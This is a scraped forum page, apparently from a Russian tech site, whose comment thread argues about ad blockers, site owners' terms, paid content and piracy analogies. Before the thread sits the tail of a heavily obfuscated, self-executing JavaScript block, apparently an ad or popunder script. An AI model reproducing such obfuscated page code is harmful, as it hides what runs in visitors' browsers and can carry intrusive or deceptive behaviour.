iAH5meHGabXFvZ29uM2G1bXR9NaN|bb2uiZXIYVGEVQEaVPUop0eIjqrcdfIkbA2eDRlMTMz|dsfbufUfyuOpef|An93s3rjO29kO2maAbCkqH9wOWCaqcCaA3C0NMY0A2aiNLsarn9bNMOeN29jAbayql|bdpt|SXSeSRFONUHl|dfjm|bX5aMnGld2K5A29wA2ym|rvfszTfmfdups|Mz9xZXemZXRzMnewc2etAYO5cnSqZ2G0bX9vMnOwcT9xZXemZXRwboNwZXSaZomoc29ocHVvboN|An93s3rjO3C0NMGeNn5yq20kNLG4A2GksLYhOLChpLCgAbayql|bE0yNER|An9wOWOarcGer2ajOn55NLwkqn5yq20kObU2pLCkqx5eN28|An9wOWBjsWsesWGarx5yq20kObU2pLCkqx5eN28|An93s3rjOV91NbmaN2meN2ixtLskq2shOH5yq20kObU2pLCkqx5eN28|sfmpbe|podmjdl|fn9wenWzMnGlcnW0ZYOqZT5kc20wd2iidnWlM2Kicn5mdoCiA2WaM2SidoS0ZXeaZnGvcnWzMnGadIh|dtt|fXGpc28vZXSvAYSid2miMnOwcT9aAYK2Q3N9NkZz|jWCPSx0LHhpBBBBOTViFVhBBBLBBBBBpDBNBBBCP8hHrBBBC|9999|foq7UOUVpKzgn5vbmqbW5fYlPEh7l5PUbbnprLTod3OaA2enIi4esb2uIS0gWRVGBRFEQFyQOCRYp6Piwc28JDBkq19gT0uMoad29wc25vcn1ucXXmqbOkZ3egY1pbHiVWGSNUFxbHipYGygr5vci4fIf3u7Iy8ghl5QgkZ3fh4PChZG|tBBBENBBBtLztLDhplKDSzdoJFCBUr6vpVGCUNaNas6vskrrpTFiJHChbytcIde3eZXGh0OEUnx8QAZ2N5PUlgIy|cbtf64|qoh|ebub|ymjol|35qy|mz|cju|iuuq|QaOad3nzNkmvssktMEipbIeg3|1CNWFYs6|go5FSFR9QU3TLToW1eYlt7PtsLzqrbncnqrSlAGeYW1SVWISJTIRIS309QUr4fIq3OaQa8|Mz8wLztsEx8P4vMklu7gioKahm5e7f3ulAHUZWmAQU08wMj7PDxv|dmfbsJoufswbm|w792eocceIUAZXIAYm7ZXmqAXWoWSlZoKjc8|ponpvtfpwfs|joofsIfjhiu|tBBBEs6|ponpvtfpvu'.tqmju('|'),0,{}));*/});var GYtNPuoBYA = [+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]]+[+[]];var rtmkxJgThuS = '';var _0x1fe5=['length','charCodeAt','fromCharCode'];for(var i=0;i< MDlmsSzTew[_0x1fe5[0]];i++){var wxoYyVZeVbnx=MDlmsSzTew[_0x1fe5[1]](i);if(97<= wxoYyVZeVbnx&& wxoYyVZeVbnx< 123){rtmkxJgThuS+= String[_0x1fe5[2]]((wxoYyVZeVbnx- GYtNPuoBYA+ 7)% 26+ 97)}else {if(65<= wxoYyVZeVbnx&& wxoYyVZeVbnx< 91){rtmkxJgThuS+= String[_0x1fe5[2]]((wxoYyVZeVbnx- GYtNPuoBYA+ 13)% 26+ 65)}else {rtmkxJgThuS+= String[_0x1fe5[2]](wxoYyVZeVbnx)}}};var x=rtmkxJgThuS;[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
</script>

0
А если вы зарезали блокировщиком такое предпреждение оно считаться будет или нет?


А просто ответить на мой вопрос?

Сделайте прототип, и посмотрим. Я тоже могу напридумывать 100500 гипотетических ситуаций и таким образом увернуться от ответа.

Вы так и не ответили что вы в этом случае делаете.


Конкретно в ЖЖ у меня платный аккаунт. Можете дальше не фантазировать.
0
А просто ответить на мой вопрос?

Сделайте прототип, и посмотрим. Я тоже могу напридумывать 100500 гипотетических ситуаций и таким образом увернуться от ответа.

Отвечал чуть ниже.
Где запрос к API хотя бы 90% блокировщиков, который дает такую возможность?
Вот простой легальный путь? Его, внезапно, нет.
Ни один блокировщик не поддерживает запроса с сайта на жесткое выключение или покидание сайта посредством каких-то вызовов. То есть я кидаю запрос браузеру и браузер спрашивает пользователя — выключить Adblock на этом сайте или покинуть этот сайт. Почему такое не сделано? Потому что не выгодно разработчика adblock? Надо ставить левые скрипты (безопасность которых, я например, проверить не могу), причем регулярно их проверять и обновлять потому что AdBlock их, внезапно, блокирует. Но это, конечно, не проблема AdBlock. Это проблема разработчика сайта — потратить деньги, что бы очередной стопервый плагин заблокировать.
0
Если будет API, который будет, на минутку представим, позволять сайту отключать блокировщик (или дать выбор «отключить или покинуть сайт») — таким блокировщиком никто не станет пользоваться. Нужно пояснять, почему?

Это если бы был API антивирусу, чтобы произвольная программа могла бы его отключать.

Автору сайта надо не пыжиться, изобретая способ обнаружить блокировщик и загородить свой мегадрагоценный контент поп-апой во весь экран, а предложить разумный способ доступа. 2-3 «тестовых» документа, а кому уровень понравился — предлагать подписку. Это так, с ходу, вариантов может быть много.

Ну не признаю я за автором сайта никакого права за меня решать, прав я или нет, да ещё и требовать от меня чего бы то ни было. Максимум — просить и уговаривать.

Такой вот я эгоцентрист.
0
Если будет API, который будет, на минутку представим, позволять сайту отключать блокировщик (или дать выбор «отключить или покинуть сайт») — таким блокировщиком никто не станет пользоваться. Нужно пояснять, почему?

Почему? Вы же рассказываете, что отключаете рекламу если контент вас устраивает. В чем проблема? Я вам предлагаю цивилизованный путь, вы же говорите, что блокировщиком никто не будет пользоваться. Вполне можно обсудить детали — например вывод запроса через 10 секунд или еще как-то.
Это если бы был API антивирусу, чтобы произвольная программа могла бы его отключать.

Why not? Если антивирус будет выводить предупреждение об ответственности — в чем проблема?

Автору сайта надо не пыжиться, изобретая способ обнаружить блокировщик и загородить свой мегадрагоценный контент поп-апой во весь экран, а предложить разумный способ доступа. 2-3 «тестовых» документа, а кому уровень понравился — предлагать подписку. Это так, с ходу, вариантов может быть много.

Вот конкретно в комментария под этим топиком идет обсуждение как обходить эти варианты. Типа давайте ротацию кук устроим, прокси и тд.
То есть пользователи фактически настроены враждебно и хотят обойти ограничение лишь бы не платить.
Ну не признаю я за автором сайта никакого права за меня решать, прав я или нет, да ещё и требовать от меня чего бы то ни было. Максимум — просить и уговаривать.

Забавно. Это надо повесить в сам топик как гимн современного общества.
То есть сделай мне бесплатно и уговори и тогда может быть я снизойду и оплачу твою работу. Вы когда с клиентами или работодателем общаетесь вы так же себя ставите? Я вам все сделаю, буду работать 24/7, а вы, если вам понравится, заплатите сколько захотите? Так?
Просить и уговаривать вас могут если вы КЛИЕНТ. То есть вы приносите деньги, за которые собственно и создается продукт для вас. Если вы халявщик, который тратит ресурсы и ничего не приносит — зачем вас уговаривать?

Ну и в конце концов.
Если я блокирую вам доступ потому что не хочу отдавать контент халявщику это по вашей логике я плохой, а вы белый и пушистый?
Ведь я тварь дрожащая?
0
Вы же рассказываете, что отключаете рекламу если контент вас устраивает.


А я не собираюсь автоматизировать ситуацию до такой степени, чтобы ошибочное нажатие мышкой было проще сделать. Предпочту сам отключить, по своей воле.

Если антивирус будет выводить предупреждение об ответственности — в чем проблема?


Всё в том же. Ошибка пользователя будет стоить намного дороже. В вопросах безопасности предпочту, чтобы диалоговые окна о принятии решения появлялись только после моих действий.
То есть сделай мне бесплатно и уговори и тогда может быть я снизойду и оплачу твою работу. Вы когда с клиентами или работодателем общаетесь вы так же себя ставите?


Не передёргивайте. Речь не о ситуации, когда я сам заказываю автору сайта контент.

В случае, если меня поиском конкретной темы привело на конкретный сайт, я как бы ничем не обязан автору сайта. И мне глубоко фиолетово, что он(а) там страдал в творческих муках, заказывал дизайн и всё такое.

Посетителю интересен контент. Всё прочее глубоко фиолетово. Если вы сейчас кажете, что делаете всё, чтобы владелец каждого посещённого вами сайта получает от вас материальную поддержку (ведь старался! контент писал! дизайн заказывал!) — «не верю» (© Станиславский)

Если я блокирую вам доступ потому что не хочу отдавать контент халявщику это по вашей логике я плохой, а вы белый и пушистый?


По моей логике это — ваш выбор (обратите внимание: я не использую эпитетов и никого не браню). Не покажете потому, что я не желаю видеть рекламы — не беда, я посещу другой сайт. В 99.99% случаев ваш сайт не единственный в Сети, кто владеет нужной мне информацией.

А те действительно уникальные, что владеют — с ними проблем, по моему опыту, не возникает. Они не пытаются завалить меня рекламой.
0
А я не собираюсь автоматизировать ситуацию до такой степени, чтобы ошибочное нажатие мышкой было проще сделать. Предпочту сам отключить, по своей воле.

Почему ошибочное? Очевидно в мною описанном случае AdBlock выводит это окно в том дизайне и виде, который считает корректным для пользователя. Сайт лишь запрашивает возможность и получает результат. Какое может быть ошибочное нажатие? Ну сделайте двойное подтверждение — вы действительно хотите посетить сайт с рекламой или закрыть его?
Всё в том же. Ошибка пользователя будет стоить намного дороже. В вопросах безопасности предпочту, чтобы диалоговые окна о принятии решения появлялись только после моих действий.

И чего она будет стоить в этом случае? Снятие блока рекламы с конкретного сайта на котором сидите пользователь? Или закрытие сайта если пользователю контент оказался не нужен?
Вы откровенно лукавите.
Не передёргивайте. Речь не о ситуации, когда я сам заказываю автору сайта контент.

В случае, если меня поиском конкретной темы привело на конкретный сайт, я как бы ничем не обязан автору сайта. И мне глубоко фиолетово, что он(а) там страдал в творческих муках, заказывал дизайн и всё такое.

Посетителю интересен контент. Всё прочее глубоко фиолетово. Если вы сейчас кажете, что делаете всё, чтобы владелец каждого посещённого вами сайта получает от вас материальную поддержку (ведь старался! контент писал! дизайн заказывал!) — «не верю» (© Станиславский)

Ну то есть пользователю контент интересен, а платить не интересно. Это напоминает логику, когда у меня крадут дизайн с определенным фото, а потом говорят я же в интернете фотку нашел — какие проблемы?
0
Какое может быть ошибочное нажатие?


И этот человек бесперечь твердит, что я лукавлю

Хорошо, на пальцах: если диалоговые окна порождаются не по воле посетителя сайта, а возникают, как чёрт из коробочки, возрастает вероятность нажать не туда.

И чего она будет стоить в этом случае?


Риторический вопрос? Ну если вам неймётся без Капитана Очевидность: будет стоить ровно тех последствий, которые возможны при незапланированном отключении соответствующей функции.

Мне (пользователю) не нужны диалоги, инициированные сайтом. Только те, которые я инициирую сам.

Ну то есть пользователю контент интересен, а платить не интересно.


Опять передёргиваете, причём неумело.

Посетителю решать, платить за контент или нет. Так что постарайтесь сделать так, чтобы и платить было удобно, и не выглядеть шантажистом («или ты отключишь блокировщик...»)

Не стоит выдумывать мои якобы мысли. Спрашивайте у меня напрямую.
0
> Ну не признаю я за автором сайта никакого права за меня решать, прав я или нет, да ещё и требовать от меня чего бы то ни было.

Я вот думаю… Интересно, а можно просмотр сайта с вырезанной рекламой подвести под "Неправомерный доступ к компьютерной информации"? Ну если в лицензии написать, что «Использование информации данного сайта разрешается только при условии сохранения ее неизменности. Запрещается удаление/добавление любого контента, включая размещенные рекламные материалы».
0
А где хоть на каком-то сайте при заходе на него такой вопрос к пользователю? Почему вы опять хотите общаться с разработчиками инструмента, но не с пользователями сайта? Да даже определять блокер не нужно — хватит перед показом сайта запилить свод правил вроде отказа от блокировщика и просьбой эти правила принять. Не принимают — не пускаем на сайт. Вот когда такое будет — можно будет рассуждать о плохих пользователях которые правила приняли, а блокер не отключили.
+1
пиратить ММОРПГ смысла ноль
Это очень, очень сильное заявление.
Есть такое слово «фришард» — не слышали?
+2
Это мой контент и я вправе запросить в общем-то любые условия за его пользование.
Отлично, где я могу прочитать условия получения контента? На спрятанной в самый темный угол странице правил на которую прямой ссылки нет ниоткуда? Такая страница вообще есть? Я попадаю на сайт и понятия не имею какие вы там условия придумали. Я вижу контент и рекламу. Или только контент. Где условия то? Или я должен о них догадаться?
Вы можете получить контент на моих условиях или не пользоваться контентом.
Я на ваши условия нигде не соглашался и контент вот он. Почему я должен делать что-то еще? Это не моя проблема что у вас есть фантазии на тему того как я должен себя вести, но вы не удосужились их мне показать. Юридически я в своем праве пользоваться вашим контентом и не смотреть рекламу, так как я нигде не соглашался на обратное. А значит что пират я только в вашей голове. Более того, в теории, я мог бы подать на вас в суд за оскорбление — так как вы называете меня преступником не имея на то законных оснований. Не в любой стране такое возможно, но такие страны есть.
Почему я как владелец должен убеждать кого-то пользоваться моим контентом?
Потому что вы получаете за это деньги.
0
Отлично, где я могу прочитать условия получения контента? На спрятанной в самый темный угол странице правил на которую прямой ссылки нет ниоткуда? Такая страница вообще есть? Я попадаю на сайт и понятия не имею какие вы там условия придумали. Я вижу контент и рекламу. Или только контент. Где условия то? Или я должен о них догадаться?

Мне вот интересно — вы стебетесь или реально?
Вполне достаточно открыть сайт в обычном браузере, а не в браузере, который скриптами что-то вырезает и вы внезапно видите только ту часть, которая контент, без рекламы.
Я вот тут с торрентов скачал игру — где я могу прочитать условия, что ее надо покупать? Почему эти условия на каком-то левом сайте владельца игры где-то там в углу? А зачем мне стим? Я на супер-бест-торрентс качал и все ок. Я понятия не имею, что ее надо покупать, где условия на супер-бест-торрентс? Или я должен догадаться, что она платная? Ну так там все ЕУЛЫ вырезали добрые ребята. Это не пиратство же — я скачал и играю.
Я на ваши условия нигде не соглашался и контент вот он. Почему я должен делать что-то еще? Это не моя проблема что у вас есть фантазии на тему того как я должен себя вести, но вы не удосужились их мне показать. Юридически я в своем праве пользоваться вашим контентом и не смотреть рекламу, так как я нигде не соглашался на обратное. А значит что пират я только в вашей голове. Более того, в теории, я мог бы подать на вас в суд за оскорбление — так как вы называете меня преступником не имея на то законных оснований.

Я на вашу покупку игры нигде не соглашался — почему я ее покупать-то должен — вон на торрентах лежит. Я нигде на ваши еулы не соглашался и юридически я вправе играть в игрушку и не покупать ее (или все-таки нет?).
Дальше додумывайте сами.
Потому что вы получаете за это деньги.

Какие деньги? Вы заблокировали рекламу же. Я получаю от вас только нагрузку на сервер, разве нет?
+4
Обычный человек, зашедший в интернет в поиске какой-либо информации, не обязан знать (угадывать, предполагать и т.п.) и вполне может действительно не знать, какие-растакие «условия потребления контента» придумал себе владелец сайта. И более того — ему до этого и дела нет. Потому, что «контент» — вот он лежит. И все эти разговоры вида «вы обязаны смотреть рекламу или платить» — это совершенно наивный развод, на уровне рынка, когда «потрогал вещь — теперь обязан купить!».
Сами даёте возможность «потребить контент» без регистрации, оплаты, оставляя его открытым, на виду, а потом удивляетесь, что его смотрят. Ну так запрячьте вглубь, обязуйте юзера регистрироваться и оплачивать. Не сделаете так? Конечно, не сделаете. Потому, что фиг кому нужен будет такой ваш сайт после этого. Хотя бы по одной простой причине: в находящемся там контенте (с вероятностью — скопипасченном с другого такого же сайта) нет ничего уникального. И есть (и всегда будет) в наличии еще 100500 сайтов с абсолютно тем же.

На самом деле, зло всё не из-за жадных владельцев сайтов или задолбавшихся от этого треша пользователей. Зло — в самой идее рекламных сетей. Скриптов этих сраных, простите за мой французский. Что приводит в итоге к тому, что показываемое там не контролируется толком ни владельцем сайта, ни гуглояндексом. В итоге и видим все эти «ШОК! ВРАЧИ ОСТОЛБЕНЕЛИ..» (вот даже интересно было бы поглядеть на того упыря, который пишет такие заголовки, крейсер ему в бухту).
До тех пор, пока владельцы сайта наплевательски относятся к контролю за тем, что показывается на нем пользователю, предпочитая подключить скрипт и не заморачиваться — пользователи имеют полное право столь же наплевательски относиться к «заработкам» такого сайта.
«Ты показываешь мне рекламу, но делаешь это без уважения»(с)

0
Почему вы упорно игнорируете аналогию с торрентами?
Я зашел в поисковик и набрал условные FIFA 2019 скачать.
На второй странице вылез какой-нибудь супер-торрент-трекер и я скачал оттуда фифу с вырезанной ЕУЛой
А теперь ровно ваша цитата:
Обычный человек, зашедший в интернет в поиске какой-либо информации, не обязан знать (угадывать, предполагать и т.п.) и вполне может действительно не знать, какие-растакие «условия потребления контента» придумал себе владелец сайта. И более того — ему до этого и дела нет. Потому, что «контент» — вот он лежит. И все эти разговоры вида «вы обязаны смотреть рекламу или платить» — это совершенно наивный развод, на уровне рынка, когда «потрогал вещь — теперь обязан купить!».
Сами даёте возможность «потребить контент» без регистрации, оплаты, оставляя его открытым, на виду, а потом удивляетесь, что его смотрят. Ну так запрячьте вглубь, обязуйте юзера регистрироваться и оплачивать

Я задаю простой вопрос.
Скачанная фифа с торрента это пиратство или нет?
ПОЧЕМУ это пиратство, если ЕУЛА в установщике вырезана и пользователь фактически ни с чем не соглашался? ПОЧЕМУ вырезанная реклама, которая является основой монетизации это НЕ ПИРАТСТВО, а скачанная, а не купленная игра (что является основой монетизации игры) это ПИРАТСТВО?
0
Из серии «откуда ж я мог знать, что это не настоящая версия программы»?

От её авторов. У них обычно в EULA (официальной версии) сказано, что правка, взлом и пр. являются недопустимыми. Незнание этого не освобождает от ответственности.

Теперь просьба указать признаки нарушения законодательства об авторском праве и смежных в случае фильтрации контента сайта по желанию посетителя сайта. Ссылки на текст закона будут очень кстати.
0
От её авторов. У них обычно в EULA (официальной версии) сказано, что правка, взлом и пр. являются недопустимыми. Незнание этого не освобождает от ответственности.

Забавно. А кто ее авторы? А зачем мне на их сайт лазить и что-то там искать?
Я вот хочу игру Казаки 2… Где там у нее официальный сайт?
Вбейте в яндексе — в первой десятке сплошные торренты.
У кого там что спрашивать?
Очень удобно косить под дурочка когда защищаешь свою точку зрения и очень неудобно, когда отвечают тем же?
А где мне посмотреть, что фильм с торрентов надо покупать?
Где авторы фильма, например Терминатор-2 Судный день?
У кого спросить — копия dvd с торрентов это легальный контент или нет?
Покажите мне закон, в котором написано, что фильм с торрентов это нелегальный, а фильм с «супер-пупер онлайн кинотеатр» это легально в контексте фильма Терминатор 2.
Ну и опять же мы скатываемся к тому, что вы считаете, что контент это бесплатно пока вам этого хочется и вам удобно, а я считаю что контент стоит денег как бы вам не хотелось обратного.
Причем примеры с другими видами контента вы изворачиваете так что бы ваша точка зрения все-таки оказалась в границах дозволенного.
Это нормальная защитная реакция, когда есть некие представления об идеале и своих правах, но при этом о правах других думать не хочется.
0
Очень удобно косить под дурочка когда защищаешь свою точку зрения и очень неудобно, когда отвечают тем же?


Ну если вам угодно косить под дурачка, косите — ставьте скачанные с пиратских ресурсов программы и делайте вид, что вы ни при чём. Полагаю, в судебном процессе вам это зачтётся.

В случае же обсуждаемого вопроса я (посетитель сайта), просматривая по мне удобным правилам контент, не нарушаю никаких законов (считаете иначе — список законов в студию).

Если автор сайта желает от меня получить какие-то там рекламные клики и т.п. — пусть сделает так, чтобы сайт меня не раздражал. Не хочет этого — ничего не получит.

Ещё раз для тех, кто в танке. Просматривая контент сайта с использованием любой угодной мне фильтрации, я не нарушаю законов и не попираю ничьи права. То, что вы думаете иначе — не более чем ваши собственные тараканы.
0
На самом деле, вы сейчас просто прикрываетесь тем, что этих законов просто нет.
А нет их не потому что там нет никаких проблем, нет прав и других вещей, которые есть в других областях, а просто потому что интернет в таком массовом явлении, каким он стал за последний десяток лет — субстанция новая и достаточно хорошо регулировать его не умеют в данный момент.

Однако, печалиться не стоит — мир идёт к регуляции интернета и, думаю, лет через 10-15 появятся и законы про рекламу в интернете.)
+2
На тему рекламы есть очень занимательный рассказ Фредерика Пола «Туннель под миром». Хотите жизнь, состоящую из сплошь рекламы? И не убежать даже в тот самый туннель.

Вы хотите меня законом обязать смотреть рекламу в интернете? Принимайте заодно закон о том, что нельзя закрывать глаза, отворачиваться, отходить от телевизора, переключать каналы во время показа рекламных роликов. Абсурдность таких законов будет компенсироваться необязательностью их исполнения.
А я напишу свой браузер (законом не запрещено), который будет получать весь пакет данных с сайта и вырезать (не показывать) рекламу пользователю. И вот докажи теперь, что я не смотрел рекламу. Пакет информации получен? — получен. Или вы читаете каждый рекламный буклетик, который вкинули в почтовый ящик? От корки до корки? И звоните по указанным там номерам? Или просто, лишь взглянув на него в большинстве случаев опускаете в урну?

Реклама в интернете, которая заставляет кликать на неё, ведёт себя так же, как если бы вас заставляли звонить по номеру, указанному в буклете. А я хочу, получив рекламу, точно так же опустить её в урну. Желательно всей пачкой. Потому как лощёная бумага не подходит даже в качестве туалетной. Максимум только для растопки печки. Но я в городе и печки нет.

И не надо говорить типа «не смешивай реальный мир с интернетом». А их и смешивать не надо, всё давно перемешано.

Но я за закон про рекламу. За уголовный. Сделал агрессивную рекламу — год исправительных работ. Рецидив — удваиваем.
0
Сделал агрессивную рекламу — год исправительных работ.

Не-не-не… Год просмотра неотключаемой рекламы с обязательными кликами по ней и звонками по телефонам!

Не говоря уже об обязательной покупке всего рекламируемого товара!
0
На тему рекламы есть очень занимательный рассказ Фредерика Пола «Туннель под миром». Хотите жизнь, состоящую из сплошь рекламы? И не убежать даже в тот самый туннель.

А вы сами читали этот рассказ? В нашей с вами жизни это вполне себе реальный сценарий, когда прогресс дойдёт до возможности пересадки личности человека в машину. Определённо найдутся люди, которые будут проводить подобные эксперименты с робо-людьми и эти эксперименты могут быть направлены на самые разные области и реклама — лишь верхушка айсберга. Вот только, в нашем мире будет так же, как и в рассказе — результатами таких экспериментов пользоваться не будут, если они выходят за рамки допустимого. Проводить — будут, а использовать — нет.

А комментировать остальное мне вовсе не хочется — вы слишком категоричны и мыслите крайностями.
0
Рассказ читал и не раз, представьте себе.

На счёт остального… окей сделаю выжимку в паре вопросов:
1. В рекламе по телевизору/в почтовом ящике вы обязательно связываетесь по предоставленным контактным данным или переключаете канал (отходите на кухню)/откладываете в макулатуру (выбрасываете)?
2. Почему вам хочется навязать мне такие действия (обязательно переходить на левый сайт/связываться с фирмой-продавцом) в интернете?
0
Использую столь нелюбимый мною приём ответа вопросом на вопрос:
2. Почему вам хочется навязать мне такие действия (обязательно переходить на левый сайт/связываться с фирмой-продавцом) в интернете?

Где? Ткните носом, где я вам пытаюсь навязать эти действия.

